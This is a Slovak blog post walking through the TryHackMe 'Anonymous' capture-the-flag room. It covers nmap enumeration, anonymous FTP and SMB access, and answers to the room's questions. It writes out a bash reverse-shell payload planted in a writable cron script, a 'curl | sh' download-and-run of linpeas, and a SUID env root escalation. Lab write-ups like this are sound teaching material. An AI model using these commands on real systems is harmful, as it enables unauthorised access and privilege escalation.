Príspevok

TryHackMe - Anonymous

Nie tá hackerská skupina

TryHackMe - Anonymous

Úvod

Celkom ľahký stroj, napodiv bol hodnotený ako Medium. Aj napriek tomu fajn.

Tryhackme Room Link

Nmap

Začnime nmap skenom:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.12.102
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 111      113          4096 Jun 04  2020 scripts [NSE: writeable]
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.11.75.122
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8b:ca:21:62:1c:2b:23:fa:6b:c6:1f:a8:13:fe:1c:68 (RSA)
|   256 95:89:a4:12:e2:e6:ab:90:5d:45:19:ff:41:5f:74:ce (ECDSA)
|_  256 e1:2a:96:a4:ea:8f:68:8f:cc:74:b8:f0:28:72:70:cd (ED25519)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: ANONYMOUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Otvorené porty: 21/tcp 22/tcp 139/tcp 445/tcp

Otázka: Preskúmajte mašinu. Koľko portov je otvorených?

Odpoveď:

1
4

Môžeme tiež odpovedať na niektoré ostatné otázky, keďže ide o predvolené porty a služby

Otázka: Aká služba beží na porte 21?

Odpoveď:

1
ftp

Otázka: Aká služba beží na portoch 139 a 445?

Odpoveď:

1
smb

Prieskum

Skúsil som sa prihlásiť ako anonymous na port ftp a zdá sa, že to funguje, takže prezerám súbory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
└─$ ftp anonymous@10.10.12.102                                                                                 
Connected to 10.10.12.102.
220 NamelessOne's FTP Server!
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||46482|)
150 Here comes the directory listing.
drwxrwxrwx    2 111      113          4096 Jun 04  2020 scripts
226 Directory send OK.
ftp> cd scripts
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||21624|)
150 Here comes the directory listing.
-rwxr-xrwx    1 1000     1000          314 Jun 04  2020 clean.sh
-rw-rw-r--    1 1000     1000         1376 Feb 27 14:20 removed_files.log
-rw-r--r--    1 1000     1000           68 May 12  2020 to_do.txt
226 Directory send OK.
ftp> 

Názvy shares SMB môžeme vidieť aj takto:

1
smbclient -L 10.10.12.102

Stačí stlačiť enter a sme prihlásení ako anonymous

Otázka: V počítači používateľa existuje share. Ako sa to volá?

Odpoveď:

1
pics

Máme používateľské meno NamelessOne

Poďme si stiahnuť všetky súbory a pozrieť sa na nich

1
$ wget -m ftp://anonymous@10.10.12.102

Vlajka Používateľa

Dobre, čiže musíme:

  1. Vpísať náš reverzný shell do súboru clean.sh
  2. Prihlásiť sa na ftp ako anonymous
  3. Stiahnuť si súbor zo nášej mašiny
1
2
3
4
#!/bin/bash

bash -i >& /dev/tcp/10.11.75.122/1337 0>&1

1
2
3
4
5
6
7
8
ftp> put clean.sh clean.sh
local: clean.sh remote: clean.sh
229 Entering Extended Passive Mode (|||46815|)
150 Ok to send data.
100% |******************************************************************|    56        1.57 MiB/s    00:00 ETA
226 Transfer complete.
56 bytes sent in 00:00 (0.60 KiB/s)
ftp> 

Otvoríme si netcat listener a čakáme

1
2
nc -lvnp 1337
listening on [any] 1337 ...

Ok, po chvíli čakania získavame spojenie

1
2
3
4
5
6
7
8
9
10
connect to [10.11.75.122] from (UNKNOWN) [10.10.12.102] 52464
bash: cannot set terminal process group (1522): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$ ls
ls
pics
user.txt
namelessone@anonymous:~$ cat user.txt
cat user.txt
<CENSORED>

User Flag

Eskalácia Privilégií

Ok, teraz na eskaláciu privilégií

Použijeme linpeas na kontrolu možných vektorov, ktoré by sme vedeli použiť na eskaláciu privilégií

  1. Stiahneme si linpeas z github
  2. Spustíme si lokálny http server na našej mašine
  3. Spustíme príkaz na stiahnutie súboru z našej mašiny a spustíme ho
1
sudo python3 -m http.server

A naša cieľová mašina

1
curl 10.11.75.122/linpeas.sh | sh

Zdá sa, že máme k dispozícii /env Ak má binárny súbor nastavený SUID, nezrušia sa nastavené zvýšené privilégiá

Týmto spôsobom si vieme vypísať root vlajku

1
2
env /bin/sh
/usr/bin/env /bin/sh -p

Vlajka Root

Root Flag

Tento príspevok je licencovaný pod CC BY 4.0 autorom.